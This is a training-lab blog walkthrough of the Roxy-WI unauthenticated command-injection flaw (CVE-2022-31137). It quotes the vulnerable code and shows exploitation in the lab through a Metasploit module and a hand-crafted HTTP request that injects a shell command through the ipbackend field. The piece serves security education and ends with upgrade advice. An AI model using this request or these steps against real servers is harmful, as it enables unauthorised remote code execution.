blog
Lab Walkthrough - Roxy-WI ...
31 August 22

Lab Walkthrough - Roxy-WI Unauthenticated Remote Code Executions

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Introduction

This exercise is to understand how to exploit the Roxy-WI Unauthenticated Remote Code Executions vulnerability (CVE-2022-31137). 

The Roxy-WI is a great web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. 

Purpose: We are learning about how to exploit Roxy-WI using the Metasploit Framework module. Also, we will use the burp suite to exploit the Roxy-WI application manually.

Technical difficulty: Beginner

What is Roxy-WI?

Roxy-WI was created for people who want to have a fault-tolerant infrastructure but do not want to plunge deep into the details of setting up and creating a cluster based on HAProxy / NGINX and Keepalived or just need a convenient interface for managing all services in one place.

Roxy-WI will build a high available cluster for you in a couple of clicks: it will create servers on AWS, DigitalOcean, and G-Core Labs, install HAProxy, NGINX and Keepalived and carry out the initial configuration for the services to start.

Monitoring is easy, you can select one of the three available monitoring options or use them all. Now you don't have to be afraid of failures: Roxy-WI will send you notifications about changes in server statuses via Slack, Telegram, and the web panel. If there are problems, you will be informed immediately. See statistics pages and load them in one place. You can view statistic pages and the load information in one place.

Source: https://roxy-wi.org/


What is Command Injection?

A cyberattack known as command injection includes running unauthorized commands on the host operating system. Usually, the threat actor inserts the orders by taking advantage of an application flaw, like inadequate input validation.

command injection.png

Lab Link: https://my.ine.com/CyberSecurity/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/d44e0417-15df-4766-9394-7992d0139123 

Roxy-Wi_00_lab_link.jpg

Description

In 2022, a serious vulnerability was found in the Roxy-WI. Roxy-WI is an interface for managing HAProxy, Nginx, and Keepalived servers. Roxy-WI versions before 6.1.1.0 are vulnerable to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file. Attackers need not be authenticated to exploit this vulnerability. Users are advised to upgrade. There are no known workarounds for this vulnerability.

The severity base score of this vulnerability is 9.8, which is considered critical. 

The vulnerability is discovered by Nuri Cilengir.

Read More: https://nvd.nist.gov/vuln/detail/CVE-2022-31137 


Lab Environment

In this lab environment, the user will access a Kali GUI instance. A vulnerable machine is running the Roxy-WI server deployed on http://demo.ine.local.  

Goal after completing this scenario: Access the /flag.txt file and read the flag!

Roxy_Wi_0.png


Tools

The best tools for this lab are:

  • Nmap
  • Bash Shell
  • Metasploit Framework
  • Python

Vulnerabilities breakup as mentioned below:

  • Vulnerability #1 - Authentication Bypass
  • Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command
  • Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute
  • Vulnerability #4 - Unauthenticated Remote Code Execution

Please refer to this excellent blog post for vulnerability analysis written by Nuri Cilengir

Vulnerability #1 - Authentication Bypass

Code: https://github.com/hap-wi/roxy-wi/blob/v6.1.0.0/app/

Vulnerable Code

if form.getvalue('alert_consumer') is None:
    if not sql.check_token_exists(form.getvalue("token")):
        print('error: Your token has been expired')
        sys.exit()

The lines between 29 and 32, it shows that session control can be bypassed if the alert_consumer variable is defined and not null in the body of the request sent to the options.py.

Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command

In the options.py the file was calling a function defined as ssh_command a lot, and ssh_command uses to perform operations on defined remote services.

Vulnerable Code

if form.getvalue('getcert') is not None and serv is not None:
    cert_id = form.getvalue('getcert')
    cert_path = sql.get_setting('cert_path')
    commands = ["openssl x509 -in " + cert_path + "/" + cert_id + " -text"]
    try:
        funct.ssh_command(serv, commands, ip="1")
    except Exception as e:
        print('error: Cannot connect to the server ' + e.args[0])

On lines 1 and 6, the getcert variable is concatenated directly to the cmd variable. Then it is processed with the ssh_command function in the /app/funct.py file.

def ssh_command(server_ip, commands, kwargs):
    ssh = ssh_connect(server_ip)
    for command in commands:
        try:
            stdin, stdout, stderr = ssh.exec_command(command, get_pty=True)
        except Exception as e:
            logging('localhost', ' ' + str(e), haproxywi=1)
            ssh.close()
            return str(e)
        if kwargs.get('raw'):
            return stdout
        try:
            if kwargs.get("ip") == "1":
                show_ip(stdout)
            elif kwargs.get("show_log") == "1":
                return show_log(stdout, grep=kwargs.get("grep"))
            elif kwargs.get("server_status") == "1":
                server_status(stdout)
            elif kwargs.get('print_out'):
                print(stdout.read().decode(encoding='UTF-8'))
                return stdout.read().decode(encoding='UTF-8')
            elif kwargs.get('return_err') == 1:
                return stderr.read().decode(encoding='UTF-8')
            else:
                return stdout.read().decode(encoding='UTF-8')
        except Exception as e:
            logging('localhost', str(e), haproxywi=1)
        finally:
            ssh.close()
        for line in stderr.read().decode(encoding='UTF-8'):
            if line:
                print("<div class='alert alert-warning'>" + line + "</div>")
                logging('localhost', ' ' + line, haproxywi=1)

In line 6, it can be seen that the ssh_command function uses the command variable defined in file /app/funct.py without processing it.

Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute

Vulnerable Code

if form.getvalue('ipbackend') is not None and form.getvalue('backend_server') is None:
    haproxy_sock_port = int(sql.get_setting('haproxy_sock_port'))
    backend = form.getvalue('ipbackend')
    cmd = 'echo "show servers state"|nc %s %s |grep "%s" |awk \'{print $4}\'' % (serv, haproxy_sock_port, backend)
    output, stderr = funct.subprocess_execute(cmd)
    for i in output:
        if i == ' ':
            continue
        i = i.strip()
        print(i + '<br>')

On lines between 1 and 5, if the ipbackend and backend_server variables are defined, the ipbackend variable is assigned directly to the cmd variable. Then the cmd variable is passed to the subprocess_execute function defined in /app/func.py.

def subprocess_execute(cmd):
    import subprocess
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True)
    stdout, stderr = p.communicate()
    output = stdout.splitlines()
    return output, stderr

In line 3, it can be seen that the cmd value is executed directly without being processed.

Vulnerability #4 - Unauthenticated Remote Code Execution

Vulnerable Code

if serv and form.getvalue('ssl_cert'):
    cert_local_dir = os.path.dirname(os.getcwd()) + "/" + sql.get_setting('ssl_local_path')
    cert_path = sql.get_setting('cert_path')
    name = ''
    if not os.path.exists(cert_local_dir):
        os.makedirs(cert_local_dir)
    if form.getvalue('ssl_name') is None:
        print('error: Please enter a desired name')
    else:
        name = form.getvalue('ssl_name')
    try:
        with open(name, "w") as ssl_cert:
            ssl_cert.write(form.getvalue('ssl_cert'))
    except IOError as e:
        print('error: Cannot save the SSL key file. Check a SSH key path in config ' + e.args[0])
    MASTERS = sql.is_master(serv)
    for master in MASTERS:
        if master[0] is not None:
            funct.upload(master[0], cert_path, name)
            print('success: the SSL file has been uploaded to %s into: %s%s <br/>' % (master[0], cert_path, '/' + name))
    try:
        error = funct.upload(serv, cert_path, name)
        print('success: the SSL file has been uploaded to %s into: %s%s' % (serv, cert_path, '/' + name))
    except Exception as e:
        funct.logging('localhost', e.args[0], haproxywi=1)
    try:
        os.system("mv %s %s" % (name, cert_local_dir))
    except OSError as e:
        funct.logging('localhost', e.args[0], haproxywi=1)
    funct.logging(serv, "add.py#ssl uploaded a new SSL cert %s" % name, haproxywi=1, login=1)

On lines 12 and 31, It can be seen that the upload function directly handles the ssl_name variable.

Source: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/ 


Solution

Step 1: Open the lab link to access the Kali machine.

Kali machine

1.png

Step 2: Check if the provided machine is reachable.

Command

ping -c 4 demo.ine.local

Roxy-Wi_2.jpg

The provided machine is reachable.

Step 3: Check all open ports on the machine.

Command

nmap demo.ine.local

Roxy-Wi_3.jpg

Two ports are open, i.e. 443 and 80. 

Step 4: Run the firefox browser and access port Roxy-WI over HTTPS.

RL: https://demo.ine.local

Roxy-Wi_4.jpg

Note: Accept the certificate warning

Login to the Roxy-WI using admin:admin creds.

Roxy-Wi_4_1.jpg

Roxy_Wi_4_2.jpg

Target Roxy-WI version is 6.1.0.0.

Step 5: Run the Metasploit framework and search for the roxy-wi exploit module.

First, start the PostgreSQL database server.

Commands

/etc/init.d/postgresql start

msfconsole -q

search roxy-wi

Roxy_Wi_5.jpg

There is one Metasploit module available, i.e,. exploit/linux/http/roxy_wi_exec 

Step 6: Use the roxy_wi_exec exploit module and check all available options.

Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE

This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user.

Source: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/roxy_wi_exec.rb

Commands

use exploit/linux/http/roxy_wi_exec

show options

Roxy_Wi_6.jpg

Set RHOSTS and LHOST, then run the module.

Commands

set RHOSTS demo.ine.local

set LHOST 192.115.40.2

check

Roxy_Wi_6_1.jpg

The target appears to be vulnerable.

Exploit the server.

Commands:

exploit

getuid

Roxy_Wi_6_2.jpg

Step 7: Read the flag.

Commands:

ls /

cat /flag.txt   

Roxy_Wi_7.jpg

FLAG: 3a9bfe20952f42d1b97777d41d5bfbf1


Manual Exploitation

Step 8: Start burp suite. 

Roxy_Wi_8.jpg

Start the Firefox browser and access the Roxy-WI application, then enable the Burp-Suite proxy. Logout old session.

URL: https://demo.ine.local

Roxy_Wi_8_1.jpg


Step 9: Intercept the login page request in the burp-suite.

Roxy_Wi_9.jpgRoxy_Wi_9_1.jpg


Step 10: We need to use /app/options.py endpoint to execute commands on the target vulnerable Roxy-WI server.

Send the captured request to the repeater:

Roxy_Wi_10.jpg

Now, replace the entire request with the below-mentioned request.

POST /app/options.py HTTP/1.1

Host: demo.ine.local

Cookie: group=1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 74

Origin: https://demo.ine.local

Referer: https://demo.ine.local/app/login.py

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Cache-Control: max-age=0

Te: trailers

Connection: close

alert_consumer=1&serv=127.0.0.1&ipbackend=";id+##&backend_server=127.0.0.1

The above request would execute the id command on the target machine and return the output.

Roxy_Wi_10_1.jpg

Send the request

Roxy_Wi_10_2.jpg

Executed the command on the target machine.


Mitigation

Upgrade Roxy-WI to the latest version.

Conclusion

We have learned to exploit the Roxy-WI web interface using the burp suite and a Metasploit module. This is a very critical vulnerability; its severity base score is 9.8. Also, it’s pretty easy to exploit the bug. Upgrade the old version to a newer version of Roxy-WI. Also, do not expose Roxy-WI to the internet. 


References

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo